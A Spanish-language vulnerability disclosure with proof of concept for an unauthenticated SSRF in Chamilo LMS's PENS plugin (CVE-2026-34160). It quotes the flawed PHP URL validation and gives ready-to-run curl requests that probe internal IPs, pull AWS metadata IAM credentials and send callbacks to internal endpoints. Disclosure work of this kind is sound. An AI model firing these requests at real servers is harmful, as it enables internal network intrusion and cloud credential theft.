
Exploit SSRF no autenticado para el plugin PENS de Chamilo LMS, que demuestra dos vectores para acceder a redes internas y metadatos de la nube, con PoC y análisis de la causa raíz.
Severidad: Alta (CVSS 8.6)
CWE: CWE-918 (Server-Side Request Forgery)
Afectado: chamilo/chamilo-lms 2.0-RC.2
Corregido en: 2.0-RC.3
Aviso: GHSA-g2xj-4cch-j276
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34160
Crédito: Romain Deperne
El endpoint del plugin PENS (Package Exchange Notification Services) public/plugin/Pens/pens.php es accesible sin autenticación y acepta URLs controladas por el usuario tanto para la descarga de paquetes como para las notificaciones de callback. Las funciones de validación de URL comprueban el esquema y la presencia de host pero no realizan ningún filtrado de IP privadas, lo que permite SSRF no autenticado hacia redes internas y servicios de metadatos en la nube.
Tras CVE-2026-33715, revisé otros endpoints de Chamilo no autenticados con efectos del lado de la red. El plugin PENS (public/plugin/Pens/) obtiene paquetes desde URLs externas y envía callbacks a servidores externos, creando dos superficies de SSRF.
Leí PensProcessor.php buscando la lógica de validación de URL. isAllowedDownloadUrl() e isAllowedCallbackUrl() comprueban ambas el esquema (http/https) y que el host no esté vacío — y ahí se detienen. Sin filtrado RFC 1918, sin comprobación de loopback, sin comprobación de link-local. El comentario incluso dice "returns true" después de la comprobación del host, lo que dejaba claro que esto se escribió sin tener en mente el SSRF.
Lo que distingue esto del CVE anterior de Chamilo: tiene dos vectores SSRF independientes — uno para la obtención del paquete (el servidor descarga un archivo desde una URL controlada por el atacante) y otro para los callbacks (el servidor hace POST a endpoints controlados por el atacante). El vector de callback es especialmente útil para exfiltrar respuestas de servicios internos, ya que el servidor hará POST de los datos de estado de PENS a cualquier URL que especifiques, y tú controlas el análisis de la respuesta.
En despliegues en la nube, el endpoint de metadatos 169.254.169.254 es alcanzable a través de ambos vectores.
Archivo: public/plugin/Pens/lib/PensProcessor.php
Dos vectores SSRF distintos:
Vector 1 — Obtención de la URL del paquete (líneas 376, 138):
private function isAllowedDownloadUrl(string $url): bool
{
$parts = parse_url($url);
$scheme = strtolower((string) ($parts['scheme'] ?? ''));
if (!in_array($scheme, ['http', 'https'], true)) { return false; }
$host = strtolower((string) ($parts['host'] ?? ''));
if ('' === $host) { return false; }
return true; // ← no private IP check
}
// Then fetched with curl:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);
Vector 2 — SSRF por callback (línea 318): Los parámetros receipt y alerts especifican URL donde el servidor envía callbacks POST — la misma ausencia de validación.
isAllowedDownloadUrl() y isAllowedCallbackUrl() solo validan que la URL tenga un esquema http/https y un host no vacío. Los rangos privados de RFC 1918 (10.x, 172.16.x, 192.168.x), loopback (127.x), link-local (169.254.x — metadatos de la nube) y los equivalentes de IPv6 son todos aceptados.
# Vector 1: Probe internal network via package-url
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://192.168.1.1:80/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test-123" \
-d "client=test" \
-d "system-user=test"
# AWS metadata endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
# Vector 2: Callback SSRF — server POSTs to attacker-controlled internal endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://example.com/legit.zip" \
-d "receipt=http://10.0.0.50:8080/internal-endpoint" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
169.254.169.254Nota: esto es distinto de CVE-2022-27426 (SSRF en herramientas social/links) — ruta de código diferente, plugin diferente, no autenticado.